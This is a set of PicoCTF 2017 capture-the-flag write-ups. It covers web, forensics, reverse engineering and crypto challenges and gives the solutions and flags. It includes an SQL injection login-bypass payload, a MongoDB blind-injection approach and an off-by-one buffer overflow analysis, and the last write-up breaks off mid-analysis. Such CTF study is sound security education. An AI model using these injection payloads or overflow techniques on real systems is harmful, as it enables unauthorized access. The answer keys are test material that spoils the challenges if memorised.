PicoCTF_2017: A Kaley Ceilidh
Category: Web Exploitation Points: 175 Description:
Everyone loves Scottish food [citation needed], but do you ever wish there were more hipster-y options? Well look no further than a Kaley Ceilidh.
Hint:
There's not a whole lot you can do on this application. If your normal attacks aren't working, perhaps you need to think bigger. Humongous, in fact. The server probably won't show you anything that contains a "flag" property.
Write-up
From the clue given, this is a common(not really) case of MongoDB exploitation. The basis of this exploit revolves around MongoDB's magical $where
function followed by a slow bruteforce with time-based blind exploits.
Therefore, the flag is flag{I_only_eat_0rg4n1c_flages}
.
PicoCTF_2017: What Is Web
Category: Web Exploitation Points: 20 Description:
Someone told me that some guy came up with the "World Wide Web", using "HTML" and "stuff". Can you help me figure out what that is? Website.
Hint:
How can you figure out how the webpage is actually built?
Write-up
Viewing the page source gives us 1/3 of the flag, fab79c49d9e
, viewing the CSS source code gives us 2/3 of the flag, 5ba511a0f24
and lastly viewing the JS source code gives us the last part of the flag 36308e33e85
.
Therefore, the flag is fab79c49d9e5ba511a0f2436308e33e85
.
PicoCTF_2017: My First SQL
Category: Web Exploitation Points: 50 Description:
I really need access to website, but I forgot my password and there is no reset. Can you help?
Hint:
Have you heard about SQL injection?
Write-up
A simple SQL injection, just try to login to an admin account. As most SQL injection flaws comes from unescaped queries, a universal query such as ' or 1=1 --
works, everytime.
Therefore the flag is be_careful_what_you_let_people_ask_ca3db5eae25f146a5418c4365b0b5540
.
PicoCTF_2017: Just Keyp Trying
Category: Forensics Points: 80 Description:
Here's an interesting capture of some data. But what exactly is this data? Take a look: data.pcap
Hint:
Find out what kind of packets these are. What does the info column say in Wireshark/Cloudshark? What changes between packets? What does that data look like? Maybe take a look at http://www.usb.org/developers/hidpage/Hut1_12v2.pdf?
Write-up
Another challenge, this time testing on your capabilities to read the title. We will extract the USB additional capture data and extract only the 3rd column where the keypress event is encoded into.
$ tshark -r data.pcap -T fields -e usb.capdata | grep -v '00:00:00:00:00:00:00:00' | cut -d ':' -f 3
09
0f
04
0a
00
2f
00
13
15
20
22
22
00
2d
00
27
11
1a
04
15
07
16
00
2d
00
07
08
04
09
06
05
20
1f
00
30
00
00
06
Consulting the USB specification manual for KEYPAD, granted in the challenge name,
09 F
0f L
04 A
0a G
00
2f {
00
13 P
15 R
20 3
22 5
22 5
00
2d _
00
27 0
11 N
1a W
04 A
15 R
07 D
16 S
00
2d _
00
07 D
08 E
04 A
09 F
06 C
05 B
20 3
1f 2
00
30 }
00
00
06 C
Therefore, the flag is flag{pr355_0nwards_deafcb32}
.
PicoCTF_2017: Digital Camouflage
Category: Forensics Points: 50 Description:
We need to gain access to the school routers to cover our tracks. Let's try and see if we can find the password in the network data we captured earlier: data.pcap
Hint:
It looks like an Administrator might have accessed the routers earlier. He had to have logged in with his password. Where would log in data be located in a network capture?
Write-up
Looking up the data.pcap
file in Wireshark lands us with packet #122
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "userid" = "randled"
Key: userid
Value: randled
Form item: "pswrd" = "OFBGRW8wdHRIUQ=="
Key: pswrd
Value: OFBGRW8wdHRIUQ==
Trying OFBGRW8wdHRIUQ==
as the flag results in invalid... but wait, that looks like base64!
$ echo "OFBGRW8wdHRIUQ==" | base64 -d
8PFEo0ttHQ
Therefore, the flag is 8PFEo0ttHQ
.
PicoCTF_2017: Little School Bus
Category: Forensics Points: 75 Description:
Can you help me find the data in this littleschoolbus.bmp?
Hint:
Look at least significant bit encoding!!
Write-up
First, we need to convert littleschoolbus.bmp
to a ASCII binary form, then we need to extract the least significant bit? Maybe add bits together?
with open("littleschoolbus.bmp", "rb") as file:
data = file.read()
bits = ""
for c in data:
lsb = str(c & 0x1)
bits += lsb
bytess = [chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)]
lsbstr = "".join(bytess)
print(lsbstr)
if "flag" in lsbstr:
break
Hmm... doesn't seem to contain the flag! I know, let's make it keep removing front bits till we get "flag"!
for iter in range(16):
with open("littleschoolbus.bmp", "rb") as file:
data = file.read()
data = data[iter:]
bits = ""
for c in data:
lsb = str(c & 0x1)
bits += lsb
bytess = [chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)]
lsbstr = "".join(bytess)
print(lsbstr)
if "flag" in lsbstr:
break
Putting this into search.py and running it, we get,
$ ./search.py
# Lots of random crap
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿó°¤Ç?ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
flag{remember_kids_protect_your_headers_5e31}ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿñü¿ÿÿÿÿÿÿÿÿÿÿÿÿÿÿ;lvØ^ÈÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÒY#YÿÿÿÿÿÿÿÿÿÿÿÿÿûÆã±Ûd=ÿÛÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿñ9lü;ÿÿÿÿÿÿÿÿÿÿÿÿñ¢NÛm°ÿÿÿýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿòçÿÿüÿÿÿÿÿÿÿÿÿ
# Even more random crap
Well, that worked!
Therefore, the flag is flag{remember_kids_protect_your_headers_5e31
.
PicoCTF_2017: Meta Find Me
Category: Forensics Points: 70 Description:
Find the location of the flag in the image: image.jpg. Note: Latitude and longitude values are in degrees with no degree symbols,/direction letters, minutes, seconds, or periods. They should only be digits. The flag is not just a set of coordinates - if you think that, keep looking!
Hint:
How can images store location data? Perhaps search for GPS info on photos.
Write-up
Looking onto the GPS section of the image's metadata reveals
Latitude: 7° 0’ 0” N
Longitude: 96° 0’ 0” E
Without degree symbols, direction letters, minutes, seconds or periods, we get
Latitude: 7
Longitude: 96
Now, 7, 96
is not the answer, nor is any other combinations. So what are we missing? Let's open the file in hex form and do a search for flag
.
00005bb0: 0001 0300 1003 0203 0600 0000 0000 0000 0000 0000 00ff fe00 :........................
00005bc8: 7522 596f 7572 2066 6c61 6720 6973 2066 6c61 675f 325f 6d65 :u"Your flag is flag_2_me
00005be0: 7461 5f34 5f6d 655f 3c6c 6174 3e5f 3c6c 6f6e 3e5f 3163 3166 :ta_4_me_<lat>_<lon>_1c1f
00005bf8: 2e20 4e6f 7720 6669 6e64 2074 6865 2047 5053 2063 6f6f 7264 :. Now find the GPS coord
00005c10: 696e 6174 6573 206f 6620 7468 6973 2069 6d61 6765 2120 2844 :inates of this image! (D
00005c28: 6567 7265 6573 206f 6e6c 7920 706c 6561 7365 2922 ffdb 0084 :egrees only please)"....
Easily found, we now have the format. Piecing together, we replace <lat>
and <lon>
with our previous coordinates.
Therefore, the flag is flag_2_meta_4_me_7_96_1c1f
.
PicoCTF_2017: Connect The Wigle
Category: Forensics Points: 140 Description:
Identify the data contained within wigle and determine how to visualize it. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out.
Hint:
Perhaps they've been storing data in a database. How do we access the information? How can we visualize this data? Maybe we just need to take a step back to get the big picture? Try zero in the first word of the flag, if you think it's an O. If you think you're super close, make a private piazza post with what you think it is.
Write-up
The solution to this challenge was very simple, except that if you are an over-thinker and over-analyzer like me, you tend to miss out on the easiest step.
Firstly, analysing the file tells us that it's an SQLite file, so let's open it up and view the data. Next, dumping the lat
and lon
to a CSV file and plotting it on a map... wait for it... gives us
My original attempt was foolish, trying to deduce any erroneous locations in the data and ploting that instead.
Therefore, the flag is flag{f0und_m3_ee263b5f}
.
PicoCTF_2017: Special Agent User
Category: Forensics Points: 50 Description:
We can get into the Administrator's computer with a browser exploit. But first, we need to figure out what browser they're using. Perhaps this information is located in a network packet capture we took: data.pcap. Enter the browser and version as "BrowserName BrowserVersion". NOTE: We're just looking for up to 3 levels of subversions for the browser version (ie. Version 1.2.3 for Version 1.2.3.4) and ignore any 0th subversions (ie. 1.2 for 1.2.0)
Hint:
Where can we find information on the browser in networking data? Maybe try reading up on user-agent strings.
Write-up
Looking in packet #93
, we find the User-Agent(I get the reference)
Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Attempting to pass Mozilla 5.0
, Safari 537.37
results as invalid flag but Chrome 36.0.1985
results in the correct flag.
Therefore, the flag is Chrome 36.0.1985
.
PicoCTF_2017: Puzzingly Accountable
Category: Forensics Points: 100 Description:
We need to find a password. It's likely that the updated passwords were sent over the network. Let's see if that's true: data.pcap. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The ones and sevens unfortunately look like each other.
Hint:
How does an image end up on your computer? What type of packets are involved?
Write-up
A challenge that tests whether you noticed a /secret/*.png
GET request and then a manual individual TCP stream of each GET request to pngs.
Therefore, the flag is 953c5041c35bfebdf8625c3d517daa65
.
PicoCTF_2017: Raw2Hex
Category: Reverse Engineering Points: 20 Description:
This program just prints a flag in raw form. All we need to do is convert the output to hex and we have it! CLI yourself to /problems/45f3b0abcf176b7cf7c1536b28d05d72 and turn that Raw2Hex!
Hint:
Google is always very helpful in these circumstances. In this case, you should be looking for an easy solution.
Write-up
This seems like another question of bash piping... Running /problems/45f3b0abcf176b7cf7c1536b28d05d72/raw2hex
gives us raw binary data, with additional placeholder text infront. That needs to be filtered out first.
# Accomplished by using ':' as a delimiter.
$ /problems/45f3b0abcf176b7cf7c1536b28d05d72/raw2hex | cut -d ':' -f 2
Now, to hex it, we can simply use xxd
, the wondertool~
$ /problems/45f3b0abcf176b7cf7c1536b28d05d72/raw2hex | cut -d ':' -f 2 | xxd -plain
cc76ae5c1b19d06897338d2deaa50bf00a
Therefore, the flag is cc76ae5c1b19d06897338d2deaa50bf00a
.
PicoCTF_2017: Hex2Raw
Category: Reverse Engineering Points: 20 Description:
This program requires some unprintable characters as input... But how do you print unprintable characters? CLI yourself to /problems/33432c6de9329bca3a3ff26e5538d8f2 and turn that Hex2Raw!
Hint:
Google for easy techniques of getting raw output to command line. In this case, you should be looking for an easy solution.
Write-up
In simple python,
$python -c "import base64; print('9b0f7b43804d4abd6f7e1bbe51
5c55d5'.decode('hex'))" | /problems/33432c6de9329bca3a3ff26e
5538d8f2/hex2raw
Give me this in raw form (0x41 -> 'A'):
9b0f7b43804d4abd6f7e1bbe515c55d5
You gave me:
9b0f7b43804d4abd6f7e1bbe515c55d5
Yay! That's what I wanted! Here be the flag:
84234a119cee0edf78366463973d518c
Therefore, the flag is 84234a119cee0edf78366463973d518c
.
PicoCTF_2017: Forest
Category: Reverse Engineering Points: 200 Description:
I was wandering the forest and found a file. It came with some string
Hint:
A number of disassemblers have tools to help view structs
Write-up
This challenge was a fun one, given that it had a varying level of requirements in it. For the most part, IDA Pro will be very useful but for us freebies out there, we can use RetDec. We get a file decompiled like this.
This is an example of binary tree sorting, with each letter sorted with the smaller character going to the left and the larger character going to the right. The string we have to sort in this case is yuoteavpxqgrlsdhwfjkzi_cmbn
.
Next, the string we are given refers to the ways we should select characters. L
means go down the left branch, R
goes down the right branch while D
means this character. If we compare the string we got and the top-down tree we graphed, we get the flag.
Therefore, the flag is you_could_see_the_forest_for_the_trees_ckyljfxyfmsw
.
PicoCTF_2017: JSut Duck It Up
Category: Reverse Engineering Points: 100 Description:
What in the world could this be?!?! file
Hint:
Maybe start searching for uses of these chunks of characers? Is there anything on the Internet with them?
Write-up
Like the name suggests, lets try Javascripting. Paste the contents of the file into Chrome's Developer's Console and bam!
aw_yiss_ducking_breadcrumbs_18fb66f1
Therefore, the flag is aw_yiss_ducking_breadcrumbs_18fb66f1
.
PicoCTF_2017: Programmers Assemble
Category: Reverse Engineering Points: 75 Description:
You found a text file with some really low level code. Some value at the beginning has been X'ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df
Hint:
All of the commands can be found here along with what they do. It may be useful to be able to run the code, with test values.
Write-up
So, first assembly challenge done. We are given an assembly piece of code and let's identify what each part does.
.global main ; start main
main:
mov $XXXXXXX, %eax. ; move XXXXXXX into EAX
mov $0, %ebx ; move 0 into EBX
mov $0x7, %ecx ; move 7 into ECX
loop:
test %eax, %eax ; if eax is 0
jz fin ; jump to finish
add %ecx, %ebx ; else, add ecx to ebx
dec %eax ; decrement eax
jmp loop ; loop back
fin:
cmp $0xb47f, %ebx ; if ebx = 46207,
je good ; jump to good
mov $0, %eax ; else, move 0 return value to eax
jmp end ; jump to return
good:
mov $1, %eax ; move 1 return value to eax
end:
ret ; exit
Simple! We want the file to return 0x1
, so we naturally want good:
to execute. However, for good to execute, we need %ebx
to equal 46207
or 0xb47f
. The only way %ebx
is actually incremented is by %ecx
, whom adds 0x7
everytime the loop loops.
So, how do we get %ebx
up to 46207
? Simple! We just have to loop 46207 / 7 = 6601
times! So, XXXXXXX
has to be 6601
! Converting 6601
to hex gives us 0x19C9
Therefore, the flag is 0x19C9
.
PicoCTF_2017: A Thing Called The Stack
Category: Reverse Engineering Points: 60 Description:
A friend was stacking dinner plates, and handed you this, saying something about a "stack". Can you find the difference between the value of esp at the end of the code, and the location of the saved return address? Assume a 32 bit system. Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df
Hint:
Where is the return address saved on the stack? Which commands actually affect the stack?
Write-up
Stacks are a common thing in the computerverse, simply because it's a highly efficient way of storing data by appending. To solve this challenge, you need to visualize the stack after the assembly code.
[stack]
ebp: [old ebp]
ebp-4: [ebp]
ebp-8: [edi]
ebp-12: [esi]
ebp-16: [ebx]
ebp-264: 0x1 <- esp
ebp-268: 0x2
ebp-272: 0x3
ebp-276: 0x4
It so happens that we only need to find the difference, which is 264
or 0x108
in hexadecimal.
Therefore, the flag is 0x108
.
PicoCTF_2017: MIPS
Category: Points: Description:
Hint:
Write-up
Thanks to @jazzy for finding out why I'm so retarded to forget to translate one line.
Trying -1493172224, received 879707737
Trying -1476395008, received 896484952
Trying -1459617792, received 913262167
Trying -1442840576, received 930039382
Trying -1426063360, received 946816597
Trying -1409286144, received 963593812
Trying -1392508928, received 980371027
Trying -1375731712, received 997148242
Trying -1358954496, received 1013925457
Found our flag: -1353597090
Therefore, the flag is 0xAF51BF5E
.
PicoCTF_2017: Much Ado About Hacking
Category: Reverse Engineering Points: 165 Description:
In a lonely file, you find prose written in an interesting style. What is this Shakespearean play? What does it have to say? How could one get it to produce this ending?
Hint:
Some would say that Shakespearean english is an... esoteric language I swear that this play compiles. However, there are different versions of the shakespeare language. If you get errors when you run spl2c on MuchAdoAboutHacking, then you need to use a different version of the language. There is a fixed version of the language here: https://stackoverflow.com/questions/1948372/compiling-and-executing-the-shakespeare-programming-language-translator-spl2c-on
Write-up
SPL is a special language, designed with Shakespeare in mind. Using something like the fixed version of spl2c
helps compile it to readable C code. Afterwards, just fill in the result originally given by the question.
$ g++ -o test test.cpp
$ ./test
Its@MidSuMm3rNights3xpl0!t
Therefore, the flag is Its@MidSuMm3rNights3xpl0!t
.
PicoCTF_2017: Coffee
Category: Reverse Engineering Points: 115 Description:
You found a suspicious USB drive in a jar of pickles. It contains this file file.
Hint:
Is there a way to get the source of the program?
Write-up
Using something like JD-GUI, we get the source of the class file
import java.io.PrintStream;
import java.util.Arrays;
import java.util.Base64;
import java.util.Base64.Decoder;
public class problem
{
public static String get_flag()
{
String str1 = "Hint: Don't worry about the schematics";
String str2 = "eux_Z]\\ayiqlog`s^hvnmwr[cpftbkjd";
String str3 = "Zf91XhR7fa=ZVH2H=QlbvdHJx5omN2xc";
byte[] arrayOfByte1 = str2.getBytes();
byte[] arrayOfByte2 = str3.getBytes();
byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
for (int i = 0; i < arrayOfByte2.length; i++) {
arrayOfByte3[i] = arrayOfByte2[(arrayOfByte1[i] - 90)];
}
System.out.println(Arrays.toString(Base64.getDecoder().decode(arrayOfByte3)));
return new String(Base64.getDecoder().decode(arrayOfByte3));
}
public static void main(String[] paramArrayOfString)
{
System.out.println("Nothing to see here");
}
}
Like the source says, I'm way too lazy to work out the schematics, so lets try calling the get_flag()
method from another file. This is where my solver comes in! Just compile and run!
$ javac solve.java
$ java solve
[102, 108, 97, 103, 95, 123, 112, 114, 101, 116, 116, 121, 95, 99, 111, 111, 108, 95, 104, 117, 104, 125]
flag_{pretty_cool_huh}
Therefore, the flag is flag_{pretty_cool_huh}
.
PicoCTF_2017: Leaf of the Tree
Category: Miscellanous Points: 20 Description:
We found this annoyingly named directory tree starting at /problems/a47d10dd80018fc6e7e1c5094c1ca323. It would be pretty lame to type out all of those directory names but maybe there is something in there worth finding? And maybe we dont need to type out all those names...? Follow the trunk, using cat and ls!
Hint:
Tab completion is a wonderful, wonderful thing
Write-up
I am a big fan of not wasting time by tab completion, thus we are going to cheat and use find
.
$ find /problems/a47d10dd80018fc6e7e1c5094c1ca323/ -type f
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/branch4118/leaf33d8
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/branchcd3c/leaf29a9
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/branchcd3c/leaf280d
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/branch8979/leaf184f
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/branch8979/leaf52a9
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/trunkc000/flag
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/trunkc000/branch8211/leaffbf3
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/branch67f2/leaf5dd4
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/branch67f2/leaf7813
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/branch3c2e/leaff81e
Hmm, that flag file looks interesting.
$ cat /problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/trunkc000/flag
5e3d48f32a6d6e17a8102d3cbae36283
Therefore, the flag is 5e3d48f32a6d6e17a8102d3cbae36283
.
PicoCTF_2017: Internet Kitties
Category: Miscellanous Points: 10 Description:
I was told there was something at IP shell2017.picoctf.com with port 28669. How do I get there? Do I need a ship for the port?
Hint:
Look at using the netcat (nc) command! To figure out how to use it, you can run "man nc" or "nc -h" on the shell, or search for it on the interwebz
Write-up
Just try, nc shell2017.picoctf.com 28669
, and lo and behold,
$ nc shell2017.picoctf.com 28669
Yay! You made it!
Take a flag!
648defaaba45452729b7179f0603df05
Therefore, the flag is 648defaaba45452729b7179f0603df05
.
PicoCTF_2017: Yarn
Category: Miscellanous Points: 55 Description:
I was told to use the linux strings command on yarn, but it doesn't work. Can you help? I lost the flag in the binary somewhere, and would like it back
Hint:
What does the strings command use to determine if something is a string? Is there an option to change the length of what strings considers as valid?
Write-up
The strings
command can easily be tweaked to match strings of a shorter length.
$ strings -n 3 yarn
ELF
tdd
/lib/ld-linux.so.2
GNU
GNU
U^TR
libc.so.6
_IO_stdin_used
putchar
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh
Phh
jA
ji
jn
j'
jt
j
jH
je
jr
je
UW1
l$0
D$8
D$4
[^_]
Sub
mit
_me
_fo
r_I
_am
_th
e_f
lag
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
yarn.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
_edata
_fini
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
putchar@@GLIBC_2.0
_end
_start
_fp_hw
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init
Therefore, the flag is Submit_me_for_I_am_the_flag
PicoCTF_2017: Leaf of the Forest
Category: Miscellanous Points: 30 Description:
We found an even bigger directory tree hiding a flag starting at /problems/7d91c03dff81a9c95bffb6d69358c92d. It would be impossible to find the file named flag manually...
Hint:
Is there a search function in Linux? Like if I wanted to 'find' something...
Write-up
Well, apparently the solution for the previous challenge is used for this one. So, lets find
the flag!
$ find /problems/7d91c03dff81a9c95bffb6d69358c92d/ -type f -name flag -exec cat {} \;
7ffb59b2f309c09959ba333d0af88565
Easy!
Therefore, the flag is 7ffb59b2f309c09959ba333d0af88565
.
PicoCTF_2017: WorldChat
Category: Miscellanous Points: 30 Description:
We think someone is trying to transmit a flag over WorldChat. Unfortunately, there are so many other people talking that we can't really keep track of what is going on! Go see if you can find the messenger at shell2017.picoctf.com:11511. Remember to use Ctrl-C to cut the connection if it overwhelms you!
Hint:
There are cool command line tools that can filter out lines with specific keywords in them. Check out 'grep'! You can use the '|' character to put all the output into another process or command (like the grep process)
Write-up
Bash piping~
$ nc shell2017.picoctf.com 11511 | grep flag
06:37:16 personwithflag: My friend would like to meet you to help me spell 'raspberry' correctly
06:37:16 whatisflag: my homegirlz need to meet up to understand me
06:37:18 whatisflag: A dog with a cape has attacked my toes for the future of humanity
06:37:18 ihazflag: my parents , in my opinion, are our best chance for the future of humanity
06:37:18 personwithflag: that girl from that movie has attacked my toes for what, I do not know
06:37:18 whatisflag: A huge moose gives me hope to make a rasberry pie
06:37:19 whatisflag: Hungry jackolanterns give me hope for the future of humanity
06:37:20 personwithflag: Anyone but me has attacked my toes to help me spell 'raspberry' correctly
06:37:20 personwithflag: I wants to see me to drink your milkshake
06:37:20 noihazflag: my parents , in my well-educated opinion, are our best chance to drink your milkshake
06:37:20 ihazflag: Cats with hats give me hope to drink your milkshake
06:37:20 noihazflag: My sworn enemy wants to see me to understand me
06:37:21 personwithflag: Cats with hats , in my well-educated opinion, are our best chance to generate fusion power
06:37:21 flagperson: this is part 1/8 of the flag - 8d84
06:37:22 ihazflag: We are the best of friends to help me spell 'raspberry' correctly
06:37:22 ihazflag: my homegirlz give me hope to create a self driving car
06:37:22 noihazflag: Cats with hats give me hope to create a self driving car
06:37:22 flagperson: this is part 2/8 of the flag - 913f
We seem to spot a common pattern this is part 1/8 of the flag - 8d84
, let's try regexp!
$ nc shell2017.picoctf.com 11511 | grep -Eo "this is part [0-9]\/8 of the flag - [a-z0-9]{4}"
this is part 1/8 of the flag - 8d84
this is part 2/8 of the flag - 913f
this is part 3/8 of the flag - 84bd
this is part 4/8 of the flag - 68a4
this is part 5/8 of the flag - 6576
this is part 6/8 of the flag - 3e48
this is part 7/8 of the flag - d9d9
this is part 8/8 of the flag - ca1c
Therefore, the flag is 8d84913f84bd68a465763e48d9d9ca1c
.
PicoCTF_2017: Looooong
Category: Miscellanous Points: 20 Description:
I heard you have some "delusions of grandeur" about your typing speed. How fast can you go at shell2017.picoctf.com:30277?
Hint:
Use the nc command to connect! I hear python is a good means (among many) to generate the needed input. It might help to have multiple windows open
Write-up
With an easily designed Python script, the flag prints out easily.
$ ./script.py
To prove your skills, you must pass this test.
Please give me the 'b' character '563' times, followed by a single '5'.
To make things interesting, you have 30 seconds.
Input:
You got it! You're super quick!
Flag: with_some_recognition_and_training_delusions_become_glimpses_493092611815c4e8f8eee8df7264c4c0
Therefore, the flag is with_some_recognition_and_training_delusions_become_glimpses_493092611815c4e8f8eee8df7264c4c0
.
PicoCTF_2017: Piazza
Category: Miscellanous Points: 10 Description:
Have questions about pico? You can ask here. The access code is 31337.
Hint:
Write-up
This one is just an attempt to get you to register a class on Piazza.
Flag is flag{ask_and_hop3fully_we_can_help}
.
PicoCTF_2017: Mystery Box
Category: Miscellanous Points: 60 Description:
You've found a mystery machine with a sticky note attached to it! Oh, there's also this picture of the machine you found.
Hint:
It really gets your gears Turing. I hear there's something Naval about it.
Write-up
This seems to be a Enigma machine challenge. We are also given the following note.txt about it.
Geheimnis: PXQQ TAMY YDBC WGYE LVN
Umkehrwalze: B
Grundstellung: PPP
Ringstellung: LOG
Steckerbrett: G-L, H-F
Converting to English, we get,
Secret: PXQQ TAMY YDBC WGYE LVN
Reversing roller: B
Basic position: PPP
Positioning: LOG
Plug connector: G-L, H-F
Okay. Let's try using an Enigma machine with all this details filled in.
PXQQ TAMY YDBC WGYE LVN
gives us
QUIT EPUZ ZLIN GIND EED
QUITEPUZZLINGINDEED
Therefore, the flag is QUITEPUZZLINGINDEED
.
PicoCTF_2017: weirderRSA
Category: Master Points: 175 Description:
Another message encrypted with RSA. It looks like some parameters are missing. Can you still decrypt it? Message
Hint:
Is there some way to create a multiple of p given the values you have? Fermat's Little Theorem may be helpful
Write-up
Fermat's Little Theorem is an interesting thing that took me awhile to understand, being new to cryptography but essentially what we have to do to break this involves just playing with dp
to get p
r = 123456
p = gmpy2.gcd(n, pow(r, (e*dp), n) - r)
With p
found, we can just divide n
with p
to get q
.
q = gmpy2.div(n, p)
With q
found, we can calculate d
to be the inverse of (p-1)(q-1)
phi = (p-1) * (q-1)
d = gmpy2.invert(e, phi)
With d
found, the challenge is solved.
Therefore, the flag is flag{wow_leaking_dp_breaks_rsa?_64151418169}
.
PicoCTF_2017: War
Category: Master Points: 125 Description:
Win a simple Card Game. Source. Connect on shell2017.picoctf.com:44698.
Hint:
Bugs typically happen in groups. If you find one, what does it allow you to do?
Write-up
Before I start, I would like to say that it took me 6 days for this challenge. For how surprisingly easy it was to solve at the end. Shame on me but now I shall redeem myself by shortening 6 days of agony to a writeup.
Firstly, we need to identify the bugs in this challenge, as it doesn't appear that there's anything buffer overflowable. By doing some rubber-ducking, we come across this function readInput()
. I've done some rubber ducking here to give you a better view of things
//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){ // For an example if betBuffer with len 8
size_t count = 0;
char c;
while((c = getchar()) != '\n' && c != EOF){
if(count < (len-1)){ // While count is 6 or less
buff[count] = c;
count++; // Count ++ means count becomes 7 here
}
}
buff[count+1] = '\x00'; // Inputting a null byte to index 8? O.o <- THIS IS ARRAY OVERFLOW111!!!!11!1
return count;
}
Interesting, now we have the ability to erase one extra byte of anything after a buffer. Completely useless. Or is it? If we take a look at the two buffers that readInput()
would read to, we come across these two buffers.
char betStr[BETBUFFLEN];
card * oppCard;
and
char name[NAMEBUFFLEN];
size_t deckSize;
Since we aren't too sure if the pointer for oppCard
actually comes after the buffer in this scenario, let's target the name
buffer. This calls for GDB
.
First, let's try some input of just 31 bytes, to see a non-interrupted or overflowed memory region.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x601800 <gameData+128>: 0x00000000 0x00000000 0x41414141 0x41414141
0x601810 <gameData+144>: 0x41414141 0x41414141 0x41414141 0x41414141
0x601820 <gameData+160>: 0x41414141 0x41410000 0x1a000000 0x00000000
0x601830 <gameData+176>: 0x00000000 0x00000000 0x1a000000 0x00000000
The memory is in big-endian for viewing pleasure. So, we see a bunch of 41
s, representing our A
. This is very helpful, and we also see a 1a
right afterwards. 1a
in hex, also equates to 26
in decimal. The only thing that's 26
in the code, is deckSize
. Great, that matches up with our code. Now let's try breaking the array by 1.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x601800 <gameData+128>: 0x00000000 0x00000000 0x41414141 0x41414141
0x601810 <gameData+144>: 0x41414141 0x41414141 0x41414141 0x41414141
0x601820 <gameData+160>: 0x41414141 0x41414100 0x00000000 0x00000000
0x601830 <gameData+176>: 0x00000000 0x00000000 0x1a000000 0x00000000
Where's the 1a
now? Turns out, it's been completely overwritten by the null byte. What does this mean? Where's the flag? Well, if there's a null byte for decksize, this part of the code helps us.
//TODO: Implement card switching hands. Cheap hack here for playability
